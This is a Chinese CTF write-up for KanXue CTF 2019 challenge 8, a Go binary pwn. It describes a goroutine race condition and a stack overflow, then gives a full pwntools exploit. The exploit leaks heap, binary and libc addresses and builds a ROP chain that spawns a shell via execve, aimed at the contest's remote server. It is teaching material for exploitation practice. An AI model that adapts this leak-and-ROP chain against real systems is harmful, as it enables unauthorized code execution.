首页
社区
课程
招聘
[原创]kanxuectf2019 第八题
2019-3-20 16:52 2804

[原创]kanxuectf2019 第八题

2019-3-20 16:52
2804
go语言的pwn
注:由于我本地使用的时kali2.0,调试时无法加载其官方给的libc(2.27)。因此,调试界面相关信息可能与实际环境不符,一切以最终exp所示偏移为主。

首先逆向,我使用golang_loader_assist对程序符号进行恢复。具体使用方法可以参考如下链接:
程序大体流程框架如下所示:
其中main_Game为主体功能函数。
首先,程序模拟实现了一个埋有宝藏的地图(main_randtreasure)

宝藏点为:(0,5),(5,0),(5,5),(random_x,random_y),且random_x,random_y不能等于当前坐标cur_x,cur_y
然后程序会新启一个线程(通过runtime_newproc),用来对用户当前游戏进程进行监控,如果当前用户已经走到埋有随机宝藏(random_x,random_y)的周围,则会重新计算新的宝藏点。
新线程的实例函数如下:
而我们通过对游戏进行分析,只有当我们移动坐标找到了随机的宝藏时,才会触发一次栈溢出(ps:找到其他几个固定的宝藏也能溢出,但溢出的地方为程序map的一段空间,类似于tcache,貌似是go语言自己的内存管理机制)
因此,一个主要问题就是如何找到该随机宝藏。
通过查看go语言的相关文档,了解到go语言是通过goroutine来实现并发和并行。其中关于什么是并发,什么是并行,下面的图解释的很好
两个队列,一台机器,那么就是并发。
两个队列,两台机器,那么就是并行。
go语言可以通过 runtime.GOMAXPROCS()来设置当前最大并行的routinue数。对于下面的代码而言,如果不加设置( runtime.GOMAXPROCS(2)),程序是不会强占式的输出(在同一个线程中),会等到另一个goroutine阻塞了,才会运行另一个goroutinue。
package main

import (
    "fmt"
)

func loop(done chan bool) {
    for i := 0; i < 10; i++ {
        fmt.Print(i)
    }
    done <- true
}

func main() {
    done := make(chan bool)
    go loop(done)
    go loop(done)

    <-done
    <-done

}
了解完go语言的这个特性后,我们就可以想办法来绕过了。如下图所示,我们注意到每当程序进行当前坐标检查时会调用time_sleep,runtime_chansend两个函数。如果当前坐标不在宝藏周围,调用sleep,让出执行权限。如果在宝藏周围,随机化宝藏后,调用chansend发生阻塞,会让出执行权限。因此,我们可以把这个问题看做时一个条件竞争的问题,要利用得到执行权限的这段时间去找到宝藏。
方法其实就是快速去遍历整个地图。
当得到正确的宝藏位置后,下面就可以进行栈溢出了。
由于程序开启了各项保护措施,我们首先需要进行地址泄露。
查看当前程序当前栈(其实准确点应该是goroutinue的栈),用户输入会被复制到0xc82023fd38区域,往下翻发现该区域内除了0xc82023fdf8保存有一个指针外(0xc82023fe38还有一个指针),截止返回地址前,没有任何其他可以利用的数据。而程序进行message输出是,就是以 0xc82023fdf8保存值作为指针进行输出,因此我们可以考虑覆盖该指针的的最后一位,让其指定到 0xc82023fd00~0xc82023fd20区域(程序默认输出0x30字节,所以只要在该范围内均可以),打印出go语言的heap地址。
ps:由于栈是不固定的,因此我们可能一次无法直接定位到想要的地址,我这里对数据进行处理,通过查找关键字符‘\xc8’两次,从而正确提取出地址。
得到go heap地址后,我们就要看看go heap中都有哪些内容可以被我们利用。通过不断搜索发现,当前泄露的heap地址&0xfffffffffffff000会指向一个类似于保存环境变量的地方,该地址+固定偏移(调试偏移为0xe0,真实环境为0x30)保存了一个程序段函数的地址。如下图所示:
通过泄露该地址,我们就可以得到程序段基址,然后通过got表得到libc,最终覆盖栈返回地址。
这里有一个问题:在本地调试时,我可以使用one_gadget,system(‘/bin/sh’)。但远程这两个都会到时程序崩溃。最后没有办法构造rop,利用syscall拿到shell。
exp:
from pwn import *
from ctypes import *
import os
#import roputils as rop

remote_addr = "211.159.175.39"
remote_port = 8787

local_addr = "127.0.0.1"
local_port = 1807

pc = "./trepwn"
pwn_elf = ELF(pc)
pwn_rop = rop.ROP(pc)

uselibc = 2 #0 for no,1 for i386,2 for x64
local = 0
haslibc = 1
atta = 0

if uselibc == 2:
	context.arch = "amd64"
else:
	context.arch = "i386"

if uselibc ==2 and haslibc == 0:
	libc = ELF("/lib/x86_64-linux-gnu/libc-2.28.so")
else:
	if uselibc == 1 and haslibc == 0:
		libc = ELF('/lib/i386-linux-gnu/libc-2.28.so')
	else:
		libc = ELF('./libc.so.6')

if local == 1:
	if haslibc:
		p = process(pc,env={'LD_PRELOAD':'./libc.so.6'})
	else:
		p = process(pc)
elif local == 0:
	p = remote(remote_addr,remote_port)
	if haslibc:
		libc = ELF('./libc.so.6')
else:
	p = remote(local_addr,local_port)
	if haslibc:
		libc = ELF('./libc.so.6')

context.log_level = True

if local:
	if atta:
		#gdb.attach(p,'b *0xd86+0x555555554000\n b*0x55555562c50f\n b*0xd7df9+0x555555554000')
		gdb.attach(p,'b*0xd7947+0x555555554000\n b *0x00000000000D797B+0x555555554000')


def sla(a,b):
	p.sendlineafter(a,b)

def sa(a,b):
	p.sendafter(a,b)

def ru(a):
	return p.recvuntil(a)

def rl():
	return p.recvline()

def rv(a):
	return p.recv(a)

def sn(a):
	p.send(a)

def lg(s,addr):
	print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def touch_vul(loc,payload):
	move_str = ('d'*5 + 'w' + 'a'*5 + 'w')*3
	move_str = move_str[:-1]
	move_str += ('d'*5 + 's' + 'a'*5 + 's')*3
	move_str = move_str[:-1]
	move_str *= 3
	'''
	move_str += ('d'*5 + 'w' + 'a'*5 + 'w')*3
	move_str = move_str[:-1]
	'''
	idx = loc
	while True:
		idx = (idx+1)%len(move_str)
		move = move_str[idx]
		sla('>>',move)
		if rv(4) == 'Your':
			continue
		else:
			recv_data = rl()
			if 'Treasure 4' in recv_data:
				#payload = 'a'*0xc0 + addr
				sla('message >> ',payload)
				return idx
				#p.interactive()
			else:
				sla('message >> ','aa')

def remote_touch(x,y,payload):
	if x !=0:
		sla('>>','a')
		sla('>>','d')
	else:
		sla('>>','d')
		sla('>>','a')
	sla('message >> ',payload)
		
	#print 'test'

def hack():
	#raw_input()
	addr = 0x417b40 + 0x0000555555554000
	sla('name :\n','a')
	loc = touch_vul(-1,'\x00'*0xc0 + '\x18')
	ru('message: ')
	data = rv(30)
	special_addr = 0
	for i in range(len(data)):
		if data[i] == '\xc8':
			if special_addr == 0:
				special_addr = u64(data[i-4:i+1].ljust(8,'\x00'))
			else:
				if special_addr == u64(data[i-4:i+1].ljust(8,'\x00')):
					print 'yes'
	#remote
	special_addr = (special_addr & 0xfffffffffffff000) + 0x30
	#local
	#special_addr = (special_addr & 0xfffffffffffff000) + 0xe0
	
	lg('special_addr',special_addr)
	ru('Coordinates: (')
	coordinate = rv(4).split(',')
	x = int(coordinate[0])
	y = int(coordinate[1])
	print x,y
	payload = '\x00'*0xc0 + p64(special_addr)
	remote_touch(x,y,payload)
	#loc = touch_vul(loc,payload)
	ru('Your message: ')
	image_addr = u64(rv(6).ljust(8,'\x00')) - 0x0000000000121EC0 
	lg('image_addr',image_addr)

	ru('Coordinates: (')
	coordinate = rv(4).split(',')
	x = int(coordinate[0])
	y = int(coordinate[1])
	print x,y
	libc_start_main_got = image_addr + pwn_elf.got['__libc_start_main']
	payload = '\x00'*0xc0 + p64(libc_start_main_got)
	main_addr = image_addr + 0xd8440
	remote_touch(x,y,payload)
	#loc = touch_vul(loc,payload)
	ru('Your message: ')
	libc.address = u64(rv(6).ljust(8,'\x00')) - 0x21ab0
	#libc.address = u64(rv(6).ljust(8,'\x00')) - libc.symbols['__libc_start_main']
	lg('libc',libc.address)
	one_gadget = libc.address + 0x4f322
	one_gadget = libc.address + 0x10a38c
	system_addr = libc.address + 0x000000000004F440
	puts_addr = libc.address + 0x00000000000809C0
	lg('system',system_addr)
	ru('Coordinates: (')
	coordinate = rv(4).split(',')
	x = int(coordinate[0])
	y = int(coordinate[1])
	print x,y
	#bin_sh = libc.address + 0x00000000001B3E9A
	bin_sh = libc.search('/bin/sh\0').next()
	system_addr = libc.symbols['system']
	puts_addr = libc.symbols['puts']
	pop_rdi_ret = image_addr + 0x000000000010a4dd
	pop_rsi_ret = image_addr + 0x000000000011422e
	pop_rax_ret = image_addr + 0x0000000000003900
	pop_rdx_ret = image_addr + 0x0000000000171b62
	syscall_ret = image_addr + 0x000000000012e8a9
	payload = '\x00'*0xc0 + p64(libc_start_main_got) + p64(0x30) + p64(0x30) + p64(0)*9  + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall_ret) #+ p64(main_addr)
	remote_touch(x,y,payload)
	#loc = touch_vul(loc,payload)
	p.interactive()
hack()


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回